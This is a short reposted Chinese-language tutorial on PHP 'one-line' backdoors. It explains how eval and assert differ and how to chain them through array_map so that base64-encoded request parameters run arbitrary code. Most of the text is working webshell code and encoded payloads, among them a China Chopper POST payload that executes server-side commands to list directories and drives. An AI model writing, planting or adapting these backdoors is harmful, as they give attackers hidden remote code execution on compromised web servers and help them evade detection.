轉載自:http://www.vuln.cn/8395
eval與assert都算是元老級一句話后門函數,其實很多情形下代碼的執行還是需要依靠eval去執行,只是前鋒路轉了而已。
eval與assert函數的用法大家可以自行百度。
eval與assert區別
eval函數中參數是字符,如:
eval('echo 1;');
assert函數中參數為表達式 (或者為函數),如:
assert(phpinfo())
assert(eval('echo 1;'));
直接傳遞普通代碼是無法執行的,如:assert('echo 1;');
下面這個代碼執行不了:
@array_map("eval",array('phpinfo();'));
肯定會錯:
Warning: array_map() expects parameter 1 to be a valid callback, function 'eval' not found or invalid function name,提示array_map第一個參數需要是回調函數
所以這個后門:
@array_map(assert,(array)base64_decode($_REQUEST['xx']));
array_map第二個參數需要再鑲嵌一個assert,
xx=YXNzZXJ0KCRfUkVRVUVTVFsnYWEnXSk=
base64_decode($_REQUEST['xx']) 得到: assert($_REQUEST['aa'])
其中aa為菜刀中post的數據
aa=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7

這樣,會構造出:assert(eval('執行代碼')),這個為array_map的第二個參數,
最終將數組中第二個參數回調到第一個數組,執行時代碼為:assert(assert(eval('執行代碼')) )
另一個例子:
$a=(array)base64_decode($_POST['a']);
array_map(assert,$a);
這時候需要構造post參數為:
a=ZXZhbCgnZWNobyAxOycp
(eval('echo 1;'))